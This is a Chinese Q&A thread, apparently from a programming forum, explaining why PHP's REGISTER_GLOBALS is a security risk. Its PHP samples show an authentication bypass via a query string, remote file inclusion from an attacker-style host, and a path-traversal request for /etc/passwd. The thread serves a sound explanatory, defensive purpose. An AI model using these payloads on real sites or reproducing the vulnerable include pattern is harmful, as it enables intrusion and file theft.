我不是 PHP 开发人员,但我在几个地方看到人们似乎将其视为瘟疫之类的东西。为什么?
4 回答
REGISTER_GLOBALS
意味着通过 GET 或 POST 传递的所有变量都可以作为脚本中的全局变量使用。由于在 PHP 中访问未声明的变量不是错误(这是一个警告),它可能会导致非常糟糕的情况。考虑一下,例如:
<?php
// $debug = true;
if ($debug) {
echo "query: $query\n";
}
这本身并不是一件坏事(精心设计的代码不应该产生警告,因此不应该访问任何可能未声明的变量(并且出于同样的原因不应该需要 REGISTER_GLOBALS
)),但是 PHP 代码通常 [非常] 低质量,导致这种安全漏洞。
启用 REGISTER_GLOBALS 会将 PHP 服务的网页暴露给一些坏人会热衷于利用的漏洞。
启用后,URL 末尾的任何查询字符串:
http://yourdomain/something.php?valid=true
将影响 something.php 中的变量 $valid(例如)的值,如果它存在的话。
如果您使用的是公开可用的 PHP 代码(例如库),那么变量的名称是众所周知的,黑客有可能通过在查询字符串中分配值来控制它们的值。他们可能能够绕过身份验证。
即使您不使用公共代码,也有可能猜出重要变量的名称,并控制它们的值。
在 PHP.INI 中启用 REGISTER_GLOBALS 曾经是默认设置
最近的做法是默认禁用它。启用它需要您自担风险!
补充一点,在以下情况下REGISTER_GLOBALS
启用可能会毁了你的一天:
使用查询字符串绕过访问控制(使用http://example.com/?logged=1破解):
<?php
$logged = User::getLogged();
if ($logged)
{
include '/important/secret.php';
}
?>
远程文件包含 (RFI):
<?php
//http://example.com/?path=http://evilbadthings.example.com/
include "$path";
?>
本地文件包含 (LFI):
<?php
//http://example.com/?path=../../../../etc/passwd
include "$path";
?>
因为它允许用户在没有任何控制的情况下在代码中注入任何全局变量。
根据代码的质量,它可能会引入重大的安全漏洞。